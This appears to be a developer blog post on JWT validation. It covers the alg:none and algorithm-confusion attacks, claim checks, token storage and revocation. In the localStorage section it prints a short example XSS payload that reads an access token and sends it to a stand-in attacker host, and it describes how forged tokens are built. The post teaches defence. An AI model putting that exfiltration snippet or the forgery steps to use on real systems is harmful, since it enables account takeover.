Skip to main content
~/makemydev/blog/jwt-security-what-to-check

JWT security — what to check before trusting a token

JWT Decoder#003·8 min read·

JWTs show up everywhere: OAuth access tokens, session identifiers, API keys, single sign-on payloads. They look opaque, but they’re just base64-encoded JSON with a signature stapled on. That accessibility is both the appeal and the risk. A JWT that isn’t validated properly is worse than no authentication at all — it gives you false confidence.

This post covers the checks that matter. Not “how JWTs work” in the abstract, but the specific things that go wrong when teams ship JWT validation into production.

JWT structure in 30 seconds

A JWT is three base64url-encoded segments separated by dots:

header.payload.signature

The header declares the algorithm used to sign the token. The payloadcarries claims — key-value pairs like the user ID, expiry time, and issuer. The signature is computed over the first two segments using the algorithm declared in the header.

// Header
{
  "alg": "RS256",
  "typ": "JWT"
}

// Payload
{
  "sub": "user_8h3kd9",
  "iss": "auth.example.com",
  "aud": "api.example.com",
  "exp": 1714003200,
  "iat": 1713999600,
  "role": "admin"
}

// Signature
RSASHA256(
  base64url(header) + "." + base64url(payload),
  privateKey
)

The signature protects integrity, not confidentiality. Anyone can decode the header and payload — they’re not encrypted. The signature only guarantees that the payload wasn’t tampered with after signing, assuming you verify the signature correctly. That assumption is where things break.

The alg:none attack

The JWT spec (RFC 7519) defines an "alg": "none" option for unsecured JWTs — tokens with no signature at all. The token looks like this:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyXzEiLCJyb2xlIjoiYWRtaW4ifQ.

Notice the trailing dot with nothing after it. No signature.

The attack: take a legitimate token, change the header to {"alg":"none"}, modify the payload however you want (change role to admin, change the sub to another user), drop the signature, and send it. If the server reads the alg field from the token and honors none, it skips verification entirely.

This isn’t hypothetical. CVE-2015-9235 documents this exact issue in the popular jsonwebtoken Node.js library. The fix is simple: never let the token tell you which algorithm to use. Your server should have an allowlist of accepted algorithms, and reject anything else:

// Node.js with jsonwebtoken
jwt.verify(token, publicKey, {
  algorithms: ['RS256']  // explicit allowlist — "none" is rejected
});

The RS256/HS256 confusion attack

This one is subtler. RS256 uses asymmetric cryptography: the server signs tokens with a private key and verifies them with the corresponding public key. HS256 uses symmetric cryptography: one shared secret for both signing and verification.

The attack exploits libraries that decide the verification method based on the token’s alg header. If the server is configured for RS256, it has a public key loaded for verification. An attacker crafts a token with "alg": "HS256" and signs it using the server’s public key as the HMAC secret. The server sees HS256, treats the public key as an HMAC secret, and the signature matches.

This works because public keys are, by definition, public. The attacker downloads the public key from a /.well-known/jwks.json endpoint, uses it to HMAC-sign a forged token, and the server accepts it.

The defense is the same as for alg:none — pin the algorithm on the server side, never derive it from the token:

# Python with PyJWT
payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"]  # reject HS256 even if the header says so
)

Validating exp, iat, and nbf

A token that never expires is a permanent credential. If it leaks — from a log, a URL parameter, a browser extension — the attacker has access forever.

Three registered claims control token timing:

  • exp (expiration time) — reject the token after this Unix timestamp. Most libraries check this automatically, but some require you to opt in.
  • iat (issued at) — when the token was created. Useful for detecting tokens that were issued suspiciously long ago, even if they haven’t expired yet.
  • nbf (not before) — reject the token before this timestamp. Less commonly used, but important for pre-issued tokens.

In practice, add clock skew tolerance (typically 30–60 seconds) to account for time drift between servers. Every major JWT library supports a clockTolerance or leeway option.

Keep access token lifetimes short — 5 to 15 minutes for API access tokens. Use refresh tokens (stored server-side or in httpOnly cookies) to issue new access tokens without forcing the user to re-authenticate.

Check iss and aud

The iss (issuer) and aud (audience) claims tell you who issued the token and who it was intended for. If you don’t validate these, a token issued by one service can be replayed against another.

Consider a company with two services: a production API and an internal admin tool. Both share the same identity provider. If the API doesn’t check that audmatches its own identifier, a token intended for the admin tool works on the API — and the admin token might carry broader permissions.

jwt.verify(token, key, {
  algorithms: ['RS256'],
  issuer: 'https://auth.example.com',
  audience: 'https://api.example.com'
});

Where to store JWTs in the browser

This is where most real-world JWT implementations get into trouble. The question isn’t whether the token is valid — it’s whether it can be stolen.

localStorage: convenient and dangerous

Storing JWTs in localStorage is common and risky. Any JavaScript running on the page can read it — including scripts from third-party ad networks, analytics providers, or a successful XSS injection. One document.cookie equivalent:

// Any XSS payload can do this
const token = localStorage.getItem('access_token');
fetch('https://evil.example.com/steal', {
  method: 'POST',
  body: token
});

The token is now on the attacker’s server. They can use it from any machine, any IP, until it expires. There’s no way to detect this unless you’re logging and comparing request origins.

httpOnly cookies: the safer default

Cookies with the HttpOnly flag cannot be read by JavaScript. The browser sends them automatically on every request to the origin. Combined with Secure (HTTPS only) and SameSite=Strict or SameSite=Lax, this blocks most token-theft vectors:

Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900

The tradeoff: cookies are sent automatically, which opens you to CSRF (cross-site request forgery). Mitigate with SameSite cookies and CSRF tokens on state-changing requests. In 2026, with SameSite=Lax as the browser default, CSRF is a smaller risk than XSS-based token theft.

Authorization header vs cookies

SPAs often send JWTs as Authorization: Bearer <token> headers. This requires storing the token somewhere JavaScript can access it (localStorage, sessionStorage, or an in-memory variable). In-memory storage is safer than localStorage (it doesn’t survive page reloads and can’t be accessed by other tabs), but the user has to re-authenticate on every page load.

For most web apps, httpOnly cookies with SameSite give better security than Bearer tokens in localStorage. Reserve the Authorization header for server-to-server APIs where there’s no browser involved.

Token revocation: the gap JWTs don’t fill

JWTs are stateless — the server doesn’t store them. That means you can’t revoke a JWT the way you revoke a session. If a user changes their password, logs out, or gets banned, any outstanding JWTs remain valid until they expire.

Common mitigations:

  • Short expiry— 5-minute access tokens limit the damage window. The user might have access for 5 more minutes after you revoke them, but not 24 hours.
  • Token blocklist— store revoked token IDs (the jti claim) in Redis or a similar fast store. Check the blocklist on every request. This partially defeats the “stateless” benefit of JWTs, but it’s necessary if you need instant revocation.
  • Refresh token rotation— issue a new refresh token each time the access token is refreshed. If a refresh token is used twice, assume it was stolen and revoke the entire family.

A validation checklist

When implementing JWT verification, check every item:

  • Pin the algorithm on the server. Never read it from the token header.
  • Verify the signature with the correct key (public key for RS256, shared secret for HS256).
  • Check exp with clock tolerance.
  • Validate iss and aud match expected values.
  • Store tokens in httpOnly cookies, not localStorage.
  • Keep access token lifetimes under 15 minutes.
  • Have a revocation strategy for compromised tokens.
  • Log token verification failures. A spike in invalid signatures means someone is probing.

Want to inspect a token’s claims without deploying code? The JWT Decoder shows you the decoded header, payload, and expiry status instantly — useful for debugging auth flows or verifying that a token contains the claims you expect before writing validation logic.